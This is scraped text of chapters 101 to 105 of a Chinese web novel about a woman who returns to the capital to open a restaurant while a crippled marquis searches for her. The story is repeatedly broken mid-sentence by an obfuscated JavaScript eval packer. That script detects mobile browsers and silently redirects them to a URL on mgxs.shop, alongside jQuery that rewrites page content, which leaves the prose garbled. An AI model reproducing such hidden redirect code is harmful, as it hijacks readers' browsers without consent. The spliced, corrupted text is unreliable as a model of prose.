RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215732|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理变得阴暗,也有人说,这就是他的本性,只不过现在才被发现而已。 镇北候府。 景象与三年前大有不同,曾经的晏无咎非常节俭,就连这府上的下人,也是少的可怜,可是现在,放眼望过去,下人和守卫都比曾经多了两倍不止。 墨韵院书房内,晏无咎垂着双眸,手持毛笔在纸上画着什么。 三年了,她应该更加明媚,更加漂亮了。 “林木。” 门外时刻守着的林木立刻进入书房,走到晏无咎身边,正要推动晏无咎的轮椅,晏无咎却制止了他。 晏无咎将手中的书信递给林木,“去,把这个送到东宫,让我们的太子殿下乐呵乐呵”。 林木**以为常,“是,主子”。 自从三年前侯爷九死一生,醒来后,就性情大变,外面都流传着各种各样的谣言,但无一例外都是说他们侯爷的不好,可他反而觉得侯爷这样挺好的。 之前就是太善良了,才会日日被人欺负,被人刺杀。 林木照着老样子,将手中的信送到东宫。 朔千钰一看到是镇北候府的信,神情瞬间变得烦躁,他极其不耐烦的扯开书信,看清信上的内容,噼哩哗啦,又是暴怒声和摔东西的声音。 “晏无咎怎么还不**!父皇为什么要留着晏无咎,为什么要我像对待亲兄弟一样对他!” 朔千钰真的是要被气**,自从,两年前他如愿以偿被封为太子后,父皇就跟魔怔了一样,当着所有大臣的面说,晏无咎是朔曜王朝的大恩人,要他这个太子把晏无咎当亲兄弟一样对待。 关键是,晏无咎那个蠢货,居然还真的将这话听进去了,每次一缺银子,一缺人了,就写信来他这儿要银子,要人。 他若是不应,晏无咎居然还要坐着那个吱呀吱呀响的什么破轮椅,双手磨得都是血,也要进宫找他父皇。 朔千钰死死咬住牙,他现在都怀疑这个晏无咎是不是被什么蛊惑人心的妖精附体了,不然为什么,父皇之前那么讨厌晏无咎的一个人,现在居然对他那么善良。 “银子银子银子,本太子哪有那么多银子给他用啊!” 苏菀一进来就听到朔千钰的怒骂声,她走进朔千钰。 “千钰哥哥,你有什么事应该找臣妾一起商量啊,怎么一个人在这里生闷气。” 第一百零一章恢复 朔千钰看到苏菀,眸中闪过一丝不自在,又很快被掩盖的很好。 “爱妃,你可是又有什么好法子?” 苏菀轻笑,“太子殿下,臣妾听说,最近京城里来了一批做生意的江南人,那生意……大的很呐”。 “这是朔耀王朝的天下,你又是王朝未来的主人,何不……与他们做做生意呢。” “当然,这治标不治本,至于晏无咎那颗毒瘤,千钰哥哥,你相信我,到了时间。他不想死也得死。” 朔千钰脑中思绪万千,这几年和苏菀的相处中,他确实发现苏菀身上有很多了不得的本事,就好像是,很多事情,她早就已经知道了事情的走向一般。 如此妖魔的行为,叫他如何能不防备。 朔千钰心中是那样想的,手上做的又是另一回事儿了。 他摸上苏菀的手,声音温润又真诚,“苏菀妹妹,谢谢你这么多年的陪伴,那这件事,还得麻烦你多多留心留心”。 苏菀看着朔千钰,眼底满是爱意,“千钰哥哥,你放心,你能开心,就是我此生最大的追求”。 朔千钰微顿,“苏菀妹妹,我也是一样,我们真是心有灵犀,天生一对”。 苏菀倚靠在朔千钰怀中,心中愈发得意,两年前,朔千钰被封为太子,她也顺理成章的被封为太子妃,这都都告诉她,她重来这一世,选的果然没有错。 就连那夏清棠和晏无咎的结局,似乎也与前世大差不差,夏清棠**,唯一和前世不同的就是尸体没有被扔到皇宫,至于晏无咎,腿都废了,也差不多该下地狱了。 她现在只需要在朔千钰面前展示自己,让他看到自己,让他完完全全的,从外到内的,全身心地爱上她,全身心的迷恋她。 苏菀脑中灵光一闪,嘴角微微勾起,“千钰哥哥,灵汐公主被送到寺庙也有两年多了,是不是可以接回来了”。 “想必,灵汐公主还是对镇北候念念不忘呢,既然如此,何不趁此机会成全这一桩美事呢。” 朔千钰蹙眉,拒绝了苏菀的提议,“不行,灵汐将来是要被送去和亲的”。 苏菀轻笑:“我自然是知道,晏无咎现在确实是配不上灵汐公主。” “我的意思是,面首。” …… 江汐汐:“林夏,我们又来到京城了。” 林夏点头,看着楼下熟悉的街道,熟悉的场景,她的思绪不由得飘远。 三年前,她跟着江汐汐一众人离开京城,走南闯北,又下江南,彻底改头换面,如今,再回到这京城,到又是另一种心情。 “小棠棠,小棠棠,我想吃香香的肉肉和爽爽的银子。” 夏清棠在脑中回应,“给你小拳拳,你吃不吃啊”。 小龙人委屈坐地。 夏清棠虽是这样说着,却还是将一个巴掌大的小龙人放出来,让它大快朵颐了一番。 三年前,她决定要把自己的母亲救出来,却**汐汐告知,现在还不行,现在还不够。 原来,不知他们渊国有神物,朔耀王朝也有,并且,比他们这只小龙人强的很。 小龙人要吸收天地之气,要吃肉,要吃银子,吞金子,才能逐渐恢复能力。 当初听到这话的夏清棠一度以为自己又穿越了,以为自己又穿越到什么玄幻修仙文中,她懵了好久,这到底是个什么古代。 简直是太玄乎。 现在三年过去,她也早就习惯了这只小龙人的存在,和江汐汐与辜战的陪伴。 并且…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215733|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她抚上自己的脸颊,这个小龙人确实是有几分真本事的,她现在这张脸,可以说是和之前的那张毫无关系,虽说有些奇怪,但不得不说,这确实是最稳妥的方式。 之前那张脸,和渊国皇帝长得一摸一样,若是进了宫,实在是太过招摇。 小龙人吃饱喝足,顿时感觉自己脑中的记忆好像又恢复一点点。 小龙人眨巴着大眼睛看向正在发呆的夏清棠,“小棠棠,爱你么么哒,本神武龙战士现在感觉自己的记忆又恢复了一点点哦”。 夏清棠回神,“你想起来怎么把我送回现代的法子了吗?”。 小龙人拍拍肚子,嘿嘿一笑,“小棠棠,你怎么一直想着回去啊,这里就是你本来的家啊”。 夏清棠现在丝毫不想和它掰扯,她声音变得冷沉,“所以,你到底想起来了没?”。 小龙人摇摇头:“一点都没有想起来。” 夏清棠单手拎起小龙人,“为了你,我们没日没夜的挣钱,没日没夜的赶路,带你去找天地之气充足的地方,你可千万得给力啊,不要让我们失望”。 “我们就算不吃不喝,就算当乞丐,也要让你吃上好东西,我相信你,一定会好好努力回报我们的。” 夏清棠一番话说的感动,就连道德感低得小龙人都已经被**到一点点。 小龙人两眼泪汪汪,“小棠棠,我吃你们的,喝你们的,我都记着,我一定会好好努力的!”。 夏清棠满意的点点头,又用手轻轻拍拍小龙人圆圆的脑袋,“小龙人,你是一条好龙,一定要快快把重要的东西都想起来呐”。 一定要想起来怎么送她回去现代啊,她要带着妈妈一起回去。 小龙人的脸颊两侧竟诡异的泛起红晕。 第一百零二章四海楼 夏清棠又连续拍了几下小龙人圆滚滚的脑袋。 “嗯,脑子里虽东西少,但长的倒是挺大。” “还有你这肚子,真的是很曼妙啊。” 小龙人双手叉腰,“夏清棠!请你注意一下你的形象!你可是我们伟大的渊国未来威严的国主啊!”。 一听这话,夏清棠脸上调笑揶揄的神色骤然消失。 她声音冷沉,笑意消失殆尽:“我从没说过我要留下当你们渊国的国君。” 气氛瞬间安静下来,小龙人惊觉自己的失言,同时,心底也升起一股失落感。 小龙人底下脑袋,默默钻回自己的龙纹锁内。 夏清棠眸光闪烁,也只是静静望着楼下的景象。 她们这一队人这些年走南闯北做生意,发展势力,现在永顺商号的名声也是打得响亮。 咚咚咚—— 夏清棠:“进。” 江汐汐推门而入。 她看到站在窗边的夏清棠,脚步稍顿,随即径直走到夏清棠的身侧。 江汐汐:“我们来京城也有几日了,是该考虑做些什么生意,能更有利于我们进宫。” 夏清棠摩挲着手指,声音淡淡,让人听不出什么情绪。 “朝饮食娱乐方向做起。” 江汐汐没有说什么反对或者怀疑的话,只是平静的嗯了声。 这三年的相处下来,她知道,夏清棠的眼光确实是很不错。 而且,这确实是最好的方式进宫见到皇后娘娘。 事情敲定以后,江汐汐就带着人开始在京城物色地址和楼盘。 夏清棠也说了说自己的见解,提了些建议。 现在不能耗时间,需要直接找房子。 时间过得很快,五天后,已经找好了房子,现在就是需要将这房子收拾收拾,再装饰装饰。 …… 夏清棠今日来这新的酒楼看了看,站在最高层,她眸光望向那显眼的满香楼。 三年了,这满香楼倒是一日比一日更盛了。 生意红火的很呐。 她们选的这处酒楼离那满香楼倒是近的很,根据打探的消息得知,这酒楼本来是叫清风楼,和满香楼的生意一样,但是背后的靠山没有满香楼的厉害,偏偏这清风楼做的菜口味不错,价格也美廉,倒是得了不少老百姓的欢心。 可这就一不小心就让满香楼破防了,于是,满香楼处处针对这清风楼,终于,不久前,清风楼被污蔑造谣打击的破产了。 现在,她们将着清风楼改为四海楼。 就以全国各地的美食为特色。 厨子,她们自然有的是,不是什么大事。 意识到自己的想法,夏清棠嘴角勾起一抹笑意,她居然有一种自己成为成功人士的错觉。 好逗。 夏清棠眼底满是笑意。 “嘿!笑啥呢。” 江汐汐走上来,就看到夏清棠一个人在这儿傻乐呵。 夏清棠憋笑,“没啥,就是恍然间觉得,有一种在玩过家家的错觉”。 “你不觉得很有意思吗?我一直觉得自己还很小,还很不成熟,现在却能指挥这么多人,还走南闯北,你不会觉得很神奇吗?” 江汐汐也笑了,她弯了弯眉眼,“你这样一说,我也觉得蛮逗人的”。 这三年的相处,两人之间少了些防备,多了些真心,此刻说起话来,也是笑的咯吱咯吱的。 两人又乐呵的聊了会儿天,好似忘记了当下的愁绪。 夏清棠突然想到辜战,“江汐汐,辜战什么时候来”。 江汐汐眸光放空,“……不知道,外面的势力错综复杂,需要他去稳住”。 “这些年,辜战确实是成长了许多,相信他的能力,而且,还有他们呢。” 夏清棠拍了拍江汐汐的肩膀,“我当然相信辜战了,我只是好久没见他了,怪想他的,小龙人也想他了”。 提到小龙人,江汐汐更是来了兴趣,“夏清棠,我常常看到你对着虚空处说话,它真的能出来吗?或者说,它真的有实体吗?”。 夏清棠揶揄的看了江汐汐一眼,“江汐汐,咱们都认识三年多了,现在你才好意思问吗?而且,这东西不是送给我,不是你引导我把它给搞出来的吗?” 江汐汐被说的窘迫,耳根也泛起红意,“关于它,我也只知道一点点东西啦”。 夏清棠嘴角轻勾,慢悠悠的回答刚才江汐汐的问题,“它是有实体,不过你也知道,它现在弱的很,能让我看到就已经算是厉害的了”。 “它还那么能吃,像头猪一样,不管喂多少银子金子大猪蹄大肘子,都能一扫而净。” 夏清棠说的响亮,江汐汐毫不客气的大笑起来,龙纹锁中的小龙人自然也听到了,它不满的在夏清棠脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221705|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中发出**。 小龙人:“喂喂喂!夏清棠,你过分了啊,你才是猪你才是猪!我可是神武龙战士,我这么迷人帅气又可爱,你简直是太没眼光了。” 夏清棠:“小龙人,你会不会修炼啊,你要是完全恢复的话,能不能变成人形。” 夏清棠是真的很好奇,说来,三年了,她居然现在才想起来问小龙人这些问题。 小龙人却罕见的沉默了。 …… 脑中迟迟没有传来回应,夏清棠又轻轻唤了声,就在她以为这小龙人是又虚弱的昏睡过去时,小龙人说话了。 小龙人:“……我…我也不知道。” “我也不知道我什么时候能完全恢复,我也不知道我能不能变成人形,我…我…” “哇——!” 小龙人哇的一声哭出来,夏清棠被吓了一大跳,“小龙人,你咋了哭了?”。 小龙人啜泣抽噎,“呜呜呜……我太没用了,我身为我们伟大的渊国的神武龙战士,居然这么没用,现在竟然需要你们这些子民做生意来养着我”。 “呜呜呜…都怪我太没用了!” 小龙人越说越伤心,哭的也越来越大声。 夏清棠头大了,她这张臭嘴哎!就多余问! 夏清棠揉揉眉心,安抚到:“别哭了别哭了,不是怪你,都怪那些把你变成这副模样的人”。 “你现在不能自怨自艾,你应该赶紧,应该加紧的恢复自己的记忆和实力,然后找出把自己变成这副模样的人,再狠狠的折磨他!” “要把那些伤害过你的人,狠狠的碾在脚底板下!” “小龙人,你要记得,别哭,敌人会笑,别低头,皇冠会掉。” 夏清棠成功被自己尬到了,但是,很明显对小龙人的效果是杠杠的。 脑海中吓人的哭泣声消失,变得安静,良久,才传来一声恍然大悟的声音。 “对哦。” “哇塞!小棠棠,你说的怎么那么对!” “你简直是我的灵感神女!呜呜呜,本神武龙战士好感动哦。” “本神武龙战士决定了,今晚再多吃很多银子和大猪蹄子,嘿嘿嘿。” “还有你刚才最后一句话,我要它做本龙战士的人生格言。” 夏清棠揉揉眉心,总算是不哭了,果然,不管是什么生物,只要一哭,就让人头疼。 第一百零三章不会死。 江汐汐就在一旁看着夏清棠神情变化莫测,一会儿是愁的直揉眉心,一会儿又是恍然大悟的松气,再一会儿又是叹气。 夏清棠不再和小龙人意念交流,她看向江汐汐,歪了歪头,“我刚才……是不是又走了好长时间的神”。 江汐汐点头:“嗯。” 夏清棠叹气,“一和它说话,我就控制不住自己,像我这样天生一心一意的人,真的很难做到三心二意呢”。 江汐汐嘴角抽了抽,“你说的都对”。 …… “侯爷!侯爷你去哪儿啊” 林木拦在晏无咎前面,挡住他滑动的轮椅,声音急切,“侯爷,您去哪儿啊,我得跟着您啊”。 晏无咎:“本侯去逛街,今日银子不是又送过来了吗?” 林木:“侯爷,我来推着您吧,马车我也吩咐人备好了。” 晏无咎平静点头,低垂的眸底深处却是隐匿的阴鸷和淡到几乎可以称之为没有的失落。 就算再有钱,就算势力发展的再大再广,他现在也是废人一个,离开了暗卫,他就只有等死的份。 晏无咎修长的手指搭在轮椅两侧扶手处,这轮椅又被改造过了,下次再被刺杀,就又可以试一试效果如何了。 马车一路到了京城最大的酒楼,满香楼。 自从晏无咎重伤昏迷醒来后,不知道景明帝是抽什么风,虽然将晏无咎的兵权收回,也将镇北军给拆散,但却是对晏无咎比之前好的多了,银子跟流水一样,哗啦啦的往镇北候府上搬,就连那新立的太子朔千钰,也是隔三差五就给镇北候晏无咎送银子,送丫鬟送侍卫。 这样一来,景明帝和新太子的名声,倒是愈来愈好。 可是这镇北候,近几年却是恃宠而骄,奢华无度,几乎是成了满香楼的常客。 满香楼甚至还给这双腿瘫痪了镇北候建了一条专用通道。 一时间,晏无咎的风头倒是比之前还健全的时候更盛了。 “镇北候又来满香楼了。” “啧,有银子真好,我要是有那黄金万两,我绝对比这镇北候还奢侈。” “哈哈哈!你这话说的倒是没错。” 镇北候?晏无咎…… 人群中的夏清棠听到议论声,下意识的就探头去张望,人太密集,等她看过去时,只来得及看到林木进去的背影。 夏清棠摇摇头,甩掉心中与自己毫不相关的念头。 不管晏无咎怎么样,都和她夏清棠没有任何关系。 不过,这小子离了她,现在过的倒是不错,都能日日吃上满香楼这贵酒贵菜了。 哈哈哈,夏清棠干笑两声,朝反方向离开。 满香楼二楼。 晏无咎眸光落在底下嘈杂的人群处,他目光淡淡,没有什么情绪的扫视着楼下的各色各样的人。 直到,他的目光落在那道与人群背道而行的背影上,他瞳孔骤缩,双手用力握住轮椅两侧的扶手上,用力想离开这轮椅,却发现无能为力。 “林木!那个人,追上去看看。” “带几个暗卫。” 林木顺着晏无咎手指指着的方向看过去,神情微顿,好熟悉的背影,能让侯爷这么心急的,那也只有夏姑娘了。 林木几不可察的叹了口气,立刻领命,“遵命!侯爷”。 林木悄悄离开包间,心中对追上那人不抱什么希望,本来他们在这楼上就和刚才侯爷指的那背影隔的老远,更何况,夏姑娘三年前早就已经不在了。 侯爷,侯爷为什么就不愿意相信呢,这么多年了,还一直让他们在四处寻找,明明连尸体都在,那尸体都是侯爷亲手埋的。 包间内,晏无咎的心情久久不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221706|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平复,他当然不相信夏清棠会死,那个女人,本事大的很。 三年前他醒来时,就发现自己房中夏清棠的文书不在了,除了是夏清棠拿的,还能是谁。 她绝对不会死。 晏无咎眼底满是近乎偏执的执拗。 他的大掌抚上心口处,心跳动的很快,很爽。 晏无咎喉间溢出轻快的轻哼声。 “来人。” 屋外很快走进一个人,对晏无咎非常尊敬。 晏无咎:“满香楼菜式的价格再提上一提,那些权贵们,就喜欢吃价格贵,量又精致的。” “剩下的还是老样子。” “是,主子。” 晏无咎挥挥手,示意那人下去。 砰! 房间沉寂了很久时候,又想起来重物屡次落地的砰砰声。 砰! 晏无咎无力的瘫倒在地上,他舌尖抵了抵上颚,大掌狠狠掐住自己的大腿,却丝毫痛觉都没有 他又使出浑身力气锤了几下,好似那两条大长腿根本不是自己的一样。 “废物!” “真是废物一个。” 砰! 哗啦啦。 屋子内又是此起彼伏的碰撞声和瓷器摔碎的声音。 良久,晏无咎靠着双臂把自己弄回到轮椅上,仅仅是几步远,便已经是大汗淋漓。 他冷声唤人,“进来”。 “把这屋子收拾了,尽快。” 侍从对这场景已经丝毫不意外了,侯爷虽然每次来都会大发雷霆摔得这屋子满地狼藉,但是从来都没有迁怒过他们。 想必这些有权有势的人,都是会有些小癖好。 屋子里很快又被打扫的干干净净,恢复如初。 晏无咎闭着眼,凉风拂过,心头浮躁被吹散了些。 第一百零四章哭着道歉 林木回来了,追那女人追了整整一下午。 晏无咎垂眸看着跪在地上的林木,语气里带着自己都没有察觉到的期待。 “如何?” 林木:“属下无能,没有追上。” 殊不知,这句话却给了晏无咎更大的希望。 晏无咎嘴角微微勾起,“没有追上?挺不错,还是个会武功的女人”。 林木:“是,侯爷,那女人轻功极其熟练。” 晏无咎:“眼熟吗?你看那轻功眼熟吗?” 林木皱眉思索,夏姑娘的身影和刚才追赶那女人的身影竟然巧妙地重合起来,他看到自家侯爷那死气不再的双眼,心一紧,选择说实话。 “是的,侯爷,属下方才一细想,发现那轻功竟然与夏姑娘的轻功极其相似。” 晏无咎眼尾上挑,说话的尾调里也带上些愉悦和期待。 “是吗?派人去找,另外,我们的人往这京城各处都分散分散。” 林木恭敬回应,“是!属下领命”。 晏无咎又在满香楼待到晚上,才乘着马车回了侯府。 安瑾早早的就在侯府门口等着,一看到晏无咎的马车,他就激动的迎上前。 “老晏老晏,刚才萧策叫着头疼,然后就晕倒了。” “我看啊,八成是记忆要恢复了。” 晏无咎惊讶,“快带我去看看”。 原来,三年前晏无咎醒来后,萧策很快也醒了,只是一个双腿废了,另一个脑子失忆了。 这三年安瑾真的是跑断腿,忙断腰的给这俩货治病。 安瑾有时候甚至觉得是不是该去给自己,还有这两人都算算命了,实在是难啊,尤其是那个晏无咎。 安瑾急匆匆的走在前面给晏无咎带路。 林木推着晏无咎的轮椅跟在安瑾身后,晏无咎双手不自觉落在两只大腿上,死死掐住上面的肌肉,试图寻找到一丝丝不一样的感觉。 他的眸光又落到安瑾的华发上,里面已经参杂了不少白发。 好像确实是如夏清棠说的那样,跟在他身边的人,包括他自己,活得都挺坎坷。 来到萧策的房间,几人看到床榻上双眼紧闭,嘴唇喃喃,好似在说着些什么的萧策。 安瑾心一急,赶忙走近俯身凑近萧策的嘴边,试图听到他在说什么内容,他满心满眼期待萧策能恢复记忆。 然而,什么都听不到,安瑾的眼里的光渐渐淡下去。 晏无咎:“他在说什么梦话。” 安瑾:“声音太低,听不清,算了,我们就等他醒了,再看看是什么情况吧。” 晏无咎点头,随即他又挥挥手,下一秒,一堆人搬着几个大箱子进入屋子内,“安瑾,这些银子,我让人搬到你屋子里,这些年,幸苦你了”。 安瑾愣住,随即哥俩好的搂住晏无咎的肩膀,“不是我说你,你可真是越来越上道了,隔三岔五的就给我送银子,我告诉你啊,你可别搁我这儿打肿脸充胖子啊。”。 “我安神医最不差的就是银子。” 晏无咎:“那我叫人搬回去?” 安瑾嘿嘿一笑,“算了算了,你看你,都搬来了,那就放我这儿吧”。 晏无咎勾了勾唇角,“那我就放心了,你不要我的银子,我还怕你不给我治腿呢”。 安瑾心中讶异,看来老晏今日心情是真的不错,有多久没有跟他开过玩笑了。 晏无咎:“别愣着了,赶紧给萧策看看脑子吧,晚点你还要给我扎腿。” 安瑾:“好嘞!” 看到两个主子心情好,林木也是深感欣慰,好久没有见到侯爷心情这么好了。 …… 第二日。 晏无咎坐着轮椅溜到院中,他想到昨日的事情,当即命令林木准备好马车,要往满香楼去。 而今日也是京城新开的酒楼,四海楼的开业日。 四海楼门口热闹非凡。为了打响四海楼的名声,夏清棠一行人想了不少点子,总之都是小游戏赢奖品,尝美食。 四海楼楼内,也是坐满了人,都是永顺商号的人。 京城四海酒楼的消息仅仅是一个上午就传遍了整个京城。 京城来了只大商队的消息,也仅仅是一天,就传遍了整个京城。 “林掌柜!” 江汐汐大声喊住夏清棠,“林掌柜,咱们四海楼确实是有大盛之势”。 看着江汐汐一本正经叫自己林掌柜,夏清棠的面容也不由沾染上笑意,“是啊。想必要不了多久,我们四海楼就能进宫侍候侍候皇上皇后”。 江汐汐眼底划过一抹冷光,“是啊,肯定要不了多久”。 小龙人在夏清棠的脑子里喊,“小棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225822|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棠小棠棠,我闻到肉味儿了,我要吃肉肉”。 夏清棠:“……真是狗鼻子。” 夏清棠朝江汐汐打了声招呼,就走上了四海楼最顶楼,专门为他们自己人准备的地方。 房间内,小龙人以迅雷不及掩耳之势风残云卷了桌上满满的各种大蹄子和大肘子,以及银子。 它打了饱嗝,登时感觉自己现在充满了力量,顾不上回到龙纹锁里,小龙人直接当着夏清棠的面,摆弄了一套奇怪的姿势,最后将两只爪子牢牢暗自龙头两侧。 夏清棠屏住呼吸,目不转睛的注视着小龙人奇怪的操作。 ……好神圣。 时间过去很久,小龙人发出痛哼声。 呼—— 神武龙战士睁开两只龙眼,眼里罕见的泛着微微精光。 夏清棠满心好奇,“小龙人,你是想起啥了吗?”。 小龙人脸上划过一点点尴尬,它搓了搓龙爪,有点心虚,“我就是……我,那个……就是”。 夏清棠:“你结巴了?还是吃错药了。” “还是说,刚才那么多肉和银子,又是白吃了。” 小龙人气不足的反驳,“怎么能是白吃了呢,能被本神武龙战士吃掉,是它们的荣幸”。 夏清棠:“所以,你是恢复了你那神秘的力量,还是恢复了你那神秘的记忆呢。” 小龙人转了转龙珠,“实不相瞒,我是恢复了一点点我那神秘的记忆啦”。 夏清棠:“曰。” 小龙人:“就是我刚才好像就是做了一场梦,很感动,梦中还提到了心声,最关键的两个字好像就是心声,因为出现的次数太多了。” 夏清棠疑惑了,“心声?那你做的是啥梦,还记得吗?”。 小龙人:“就是有两个人在吵架,吵得超级凶,但是吵到最后,又都哭了。” “所以我觉得很感动,吵架都能吵哭了,不应该是越吵越生气,然后拿起剑来开始打架吗?” 夏清棠沉默一瞬,不死心的问,“就梦到个这?”。 小龙人摇头:“不是,还有呢,两人一边嚎啕大哭,一边还有一个人给另外一个人道歉,偶哟,丢脸的嘞,一边哭一边道歉。” “岂不是鼻涕眼泪糊一脸。” 小龙人给自己说乐呵了,浑然忘记刚才是谁说很感动的。 第一百零五章超想喝粥。 夏清棠闭了闭眼,“心声是什么意思?”。 小龙人:“字面意思啊。” 夏清棠:“……” 拳头好痒哦,好想揍龙哦。 小龙人:“不知道,我就听到心声两字,之后就是两**喊大叫,那一看就是吵架啊,跟狗叫一样,我一句也听不懂。” “小棠棠,你要是听到,你保准也听不懂,你是人,我是龙,我们怎么可能能听懂狗叫。” “嘿嘿嘿。” 夏清棠:“……” “滚回的你的锁里面去。” 碍眼。 “嘿嘿嘿。” “打是亲骂是爱,小棠棠骂我,那就是爱我爱到无法自拔。” “既然如此,那本神武龙战士就只好幸福的滚回自己的锁里去了。” 夏清棠无奈的摇头叹气,嘴角带着自己都未曾察觉到的笑意。 “真是个马屁精。” …… 四海楼楼下。 有热闹怎么能少了他这个奢侈无度,恃宠而骄的侯爷呢。 晏无咎坐着他的轮椅来了这四海楼,身后还跟着一二三四五六七八个侍卫。 派头真是足足的,硬生生把四海楼熙攘的人群给硬控了好多秒。 哇撒,是双腿废了的镇北候哎。 厌恶就周身气势冷冽,震得这群人是直咽口水,楼内小厮连忙出来招呼这位大煞神。 四海楼小厮:“这位客观,咱们里面请。” “保准给您的是最好的服务!” 小厮一边引着晏无咎一行人往里走,一边给他们介绍四海楼的特色,听说这位镇北候之前很穷,偏偏现在又是富的流油,在他身上,肯定能挣不少银子。 嘻嘻嘻。 晏无咎摁住轮椅,抬眸扫了一眼楼内环境,声音冷沉,“不必了,这大堂里就挺好”。 小厮:“哎?侯爷……” 晏无咎:“热闹,不是吗?” 小厮连忙应是,“是是是,侯爷您说的都对,我这就安排人来好好招待你们”。 晏无咎:“安排人招待我们这一环节要收银子吗?” 小厮:“不收,侯爷,这可都是我们四海楼最基本的服务,保准您今日满意!” 晏无咎点头,平静的看着几个小厮端茶倒水,又在旁边等着他点菜。 晏无咎放下茶杯,“你们先下去吧,本侯若是饿了,自然会招呼你们来”。 身旁终于清静,晏无咎双眸不动声色在楼内环视,仅仅几日就能把这酒楼搞起来,这幕后之人绝对不是一般人。 永顺商队?他在外的势力传回来的书信里倒是提起过这一商队,三年前才兴起。 三年,能做出那样大的规模,走南闯北的游玩不好吗,怎么又来这**不吐骨头的京城开了一家酒楼。 晏无咎指尖顿住,意识到自己今日想法过多过杂,晏无咎眼底晦暗,他这几日大抵是又犯病了,又开始想些有的没得了。 楼内香气一阵接一阵的往鼻子里钻,晏无咎鼻尖耸动,这味道,看来确实是有两下子啊。 小厮非常有眼力见的拿着菜单走到晏无咎身边。 晏无咎并未抬眸,“各个地方的特色菜都来上一种”。 小厮瞬间眼冒金光,“好嘞!客观可真是大气又帅气啊!”。 晏无咎怔住,帅气……这个词他只在夏清棠那个坏女人那里听到过。 一道道菜被端上餐桌,晏无咎拿起筷子就开始吃。 好吃。 这是晏无咎的第一想法,量大美观还美味,服务还好,这生意做的。 晏无咎扫了林木一眼,“坐下,吃”。 林木瞪大双眼,受宠若惊,心中感觉甚是惶恐。 林木颤颤巍巍,“侯爷……侯爷这、这于理不合啊”。 晏无咎:“少在那墨迹,赶紧坐下吃。” 林木拘谨的坐下,但是很快,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225823|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也吃的畅快,丝毫不见与上司同坐一桌吃饭的变扭和难受。 “哇,侯爷,这也太好吃了吧,比满香楼好吃的多了去。” 满香楼也就只能偏偏有钱人了。 晏无咎没吭声,只是一味夹菜吃菜。 “二位客官,咱们四海楼特地为二位送的粥来喽!” “莲子百合银耳粥!” 两罐热气腾腾的粥被端上晏无咎所在的桌子,扑鼻而来的香甜气息和仅有一点相似的名字,就叫晏无咎一瞬间陷入恍惚。 莲子百合银耳粥。 他喃喃自语,神情一片茫然。 晏无咎拿起勺子喝了一口这粥,眼中情绪更是变换莫测,有一点点像,可又远远比不上。 他又喊来小厮,声音冷沉但又有丝丝不稳,“你们这儿还有什么粥”。 小厮:“客官,我们这儿什么粥都有,只要您能说出来,我们四海楼就都会做。” “您啊,就只管说就对了。” 晏无咎:“红枣桂圆糯米粥。” 